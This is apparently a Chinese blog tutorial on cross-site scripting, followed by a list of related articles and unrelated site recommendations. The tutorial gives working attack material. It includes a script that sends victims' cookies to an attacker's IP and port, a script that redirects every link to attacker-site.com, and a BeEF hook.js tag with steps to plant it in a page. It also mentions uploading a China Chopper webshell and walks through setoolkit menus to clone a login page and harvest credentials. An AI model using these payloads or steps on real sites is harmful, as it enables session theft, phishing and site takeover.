将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面的时候,嵌入其中的Web里面的Script代码就会被执行,从而达到恶意攻击用户的目的。

反射型XSS

反射型Xss是非持久的,只具有一次性:攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞.

PHP:
<?php echo $_GET['uname'];?>

当用户访问url/?uname=<script>alert(document.cookie)</script>,触发代码,弹出会话框

存储型XSS

存储型Xss是持久性的,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛,博客,留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中,当用户正常访问时,触发XSS代码

DOM型XSS

使用DOM动态访问更新文档内容、结构或样式。

HTML标签都是节点,节点组成了节点树。通过HTML DOM 可以对树上的所有节点进行修改。

服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应,DOM对象就会处理XSS代码,触发XSS漏洞。

Cookie:

Cookie是依据HTTP协议,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie是由Web服务器保存在用户浏览器(客户端上的)一个小文本,它可以包含有关用户的信息。

临时Cookie:只在浏览器上保存一段规定的时间,一旦超过规定的时间,该Cookie就会被系统清除。

服务器可以利用Cookies包含信息的任意性来筛选并经常维护这些信息,以判断在HTTP传输中的状态。

Cookies最典型的应用是判定注册用户是否已经登陆过网站,保留用户信息可以简化下一次登陆网站。此外购物车,用户可能在一段时间内同一家网站的不同页面选择不同的商品,这些信息都会被写入Cookies,以便在最后付款时提取信息。

发射XSS盗取Cookie,

存在反射型XSS漏洞的站点位置,可以利用以下链接来盗取Cookie

<script> var img=document.createElment("img"); img.src="http://ip:port/a?"+escape(document.cookie); </script>

进入后台寻找上传点,进一步利用漏洞给上传一句话Webshell(中国菜刀)。

XSS篡改网页链接

window.onload当窗口加载时,执行匿名函数:

使用for循环遍历所有获得的链接a标签

<script> window.onload=function(){/*匿名函数*/ var link=document.getElmentsByTagName("a"); for(j=0;j<link.length;j++) { link[j].href="http://attacker-site.com/"; } } </script>

思考:XSS漏洞的本质是网页提供给了用户可交互代码接口,继而用户可以通过这个接口实现对网页的破坏。

通过XSS可以篡改流量URL

篡改链接执行恶意URL

Beef进行恶意链接生成,以及利用hook.js执行其他命令

Beef的用户名和密码都是Beef

恶意攻击代码:

<script src="http://192.168.253.28:3000/hook.js"></script>

操作流程:

kali环境下运行beef:
beef-xss //开启beef
/*获取到hook:<script src="http://<IP>:3000.hook.js"></script>*/
service apache2 start //开启阿帕奇服务
cd /var/www/html //var:可变动文件夹系统运行后逐渐占用硬盘容量的目录
vi index.html
将恶意攻击代码放入里面

XSS盗取用户信息

原理:首先要克隆网站的登陆页面,利用存储型XSS设置跳转代码,如果用户访问即跳转到克隆网址的登陆页面,用户输入登陆,账户和密码被存储。

当用户访问的网站具有XSS漏洞的时候,我们可以利用存储型XSS对网页进行篡改,当用户访问页面时就会进入到克隆站点的登陆界面。

Setookit工具克隆网站

首先控制台输入
setookit
进入操作后
选择1
选择2
选择3
选择2 站点克隆
使用对应网卡的IP地址直接回车,对我们需要克隆的URL进行输入
完成克隆后本地网页index.html即为监听网页,同时控制台会对其进行监听

XSS跨站脚本攻击(1)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  3. xss(跨站脚本攻击),crsf(跨站请求伪造),xssf

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  4. PHP漏洞全解(四)-xss跨站脚本攻击

    本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...

  5. JAVA覆写Request过滤XSS跨站脚本攻击

    注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...

  6. xss跨站脚本攻击及xss漏洞防范

    xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...

  7. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  8. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  9. web应用程序安全攻防---sql注入和xss跨站脚本攻击

    kali视频学习请看 http://www.cnblogs.com/lidong20179210/p/8909569.html 博文主要内容包括两种常见的web攻击 sql注入 XSS跨站脚本攻击 代 ...

  10. spring-boot-plus XSS跨站脚本攻击处理

    XSS跨站脚本攻击处理 XSS:Cross Site Scripting 跨站脚本攻击(XSS),是目前最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当 ...

随机推荐

  1. [源码分析] Dynomite 分布式存储引擎 之 DynoJedisClient(2)

    [源码分析] Dynomite 分布式存储引擎 之 DynoJedisClient(2) 目录 [源码分析] Dynomite 分布式存储引擎 之 DynoJedisClient(2) 0x00 摘要 ...

  2. Codeforces Round #626 (Div. 2)

    Contest Info Practice Link Solved A B C D E F 4/6 O Ø Ø  Ø  Ø  - O 在比赛中通过 Ø 赛后通过 ! 尝试了但是失败了 - 没有尝试 S ...

  3. Luogu T9376 区间GCD

    题目背景 无 题目描述 给定一长度为n的动态序列,请编写一种数据结构,要求支持m次操作,包括查询序列中一闭区间中所有数的GCD,与对一闭区间中所有数加上或减去一个值. 输入输出格式 输入格式: 第1行 ...

  4. VJ train1 I-彼岸

    一道递推题(我这个菜鸡刚开始以为是排列组合) 题目: 突破蝙蝠的包围,yifenfei来到一处悬崖面前,悬崖彼岸就是前进的方向,好在现在的yifenfei已经学过御剑术,可御剑轻松飞过悬崖.现在的问题 ...

  5. Musical Theme POJ - 1743 后缀数组

    A musical melody is represented as a sequence of N (1<=N<=20000)notes that are integers in the ...

  6. python代理池的构建4——mongdb数据库的增删改查

    上一篇博客地址:python代理池的构建3--爬取代理ip 一.mongdb数据库的增删改查(Mongo_pool.py) #-*-coding:utf-8-*- ''' 实现代理池的数据库模块 ●作 ...

  7. ELK + Redis 日志收集 & HAProxy

    参考博文:http://www.ttlsa.com/linux/haproxy-log-configuration-syslog/ 引入 Redis 消息队列 Log-file 收集数据到 Redis ...

  8. ajax全局

    $.ajaxSetup({ complete: function (xhr) { xhr.promise().done(function (json) { if (json.errorNo == &q ...

  9. Java中new一个对象是一个怎样的过程?JVM中发生了什么?

    Java中new一个对象的步骤: 1. 当虚拟机遇到一条new指令时候,首先去检查这个指令的参数是否能 在常量池中能否定位到一个类的符号引用 (即类的带路径全名),并且检查这个符号引用代表的类是否已被 ...

  10. HDU - 4462 Scaring the Birds

    It's harvest season now! Farmer John plants a lot of corn. There are many birds living around his co ...